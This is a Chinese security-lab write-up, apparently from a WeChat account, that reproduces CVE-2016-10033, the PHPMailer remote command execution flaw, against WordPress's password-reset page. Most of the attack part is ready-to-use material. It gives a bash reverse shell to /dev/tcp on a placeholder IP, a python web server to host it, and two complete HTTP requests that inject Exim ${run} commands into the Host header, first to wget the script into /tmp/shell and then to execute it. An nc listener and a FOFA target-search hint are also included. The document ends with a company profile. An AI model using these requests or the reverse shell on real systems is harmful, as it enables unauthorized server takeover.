0x01 漏洞描述
WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。
0x02 漏洞复现
漏洞影响: PHPMailer < 5.2.18 和 WordPress、Drupal、1CRM、Joomla!等使用了PHPMailer的开源CMS
FOFA:WordPress
注：该漏洞利用条件比较苛刻，依赖于ssh-agent进程。这个进程默认不启动，且只在多主机间免密码登录时才会用到。
1.目录下存放一个反弹shell的脚本1.txt，并使用python3开启80端口用作web下载服务（公网环境下需要域名）
bash -i >& /dev/tcp/x.x.x.x/7777 0>&1 #反弹shell脚本1.txtpython3 -m http.server 80 #python3 web服务
2.抓包构造payload，执行下载此脚本到/tmp/shell（注：user_login处一定要是存在的用户名，报文中Host中的x.x.x.x放域名或IP）
POST /wp-login.php?action=lostpassword HTTP/1.1Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}x.x.x.x${substr{0}{1}{$spool_directory}}1.txt}} null)User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 82Origin: http://x.x.x.x:8080DNT: 1Connection: closeReferer: http://x.x.x.x:8080/wp-login.php?action=lostpasswordCookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0; wordpress_test_cookie=WP+Cookie+checkUpgrade-Insecure-Requests: 1user_login=11&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%8
3.监听7777端口
nc.exe -lvvp 7777
4.构造payload执行刚刚上传的/tmp/shell脚本，得到一个shell
POST /wp-login.php?action=lostpassword HTTP/1.1Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 82Origin: http://x.x.x.x:8080DNT: 1Connection: closeReferer: http://x.x.x.x:8080/wp-login.php?action=lostpasswordCookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0; wordpress_test_cookie=WP+Cookie+checkUpgrade-Insecure-Requests: 1user_login=11&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
(注：要在正规授权情况下测试网站：日站不规范，亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制：sm
审核：fjh
审核：Dog
原文始发于微信公众号（融云攻防实验室）：漏洞复现 CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论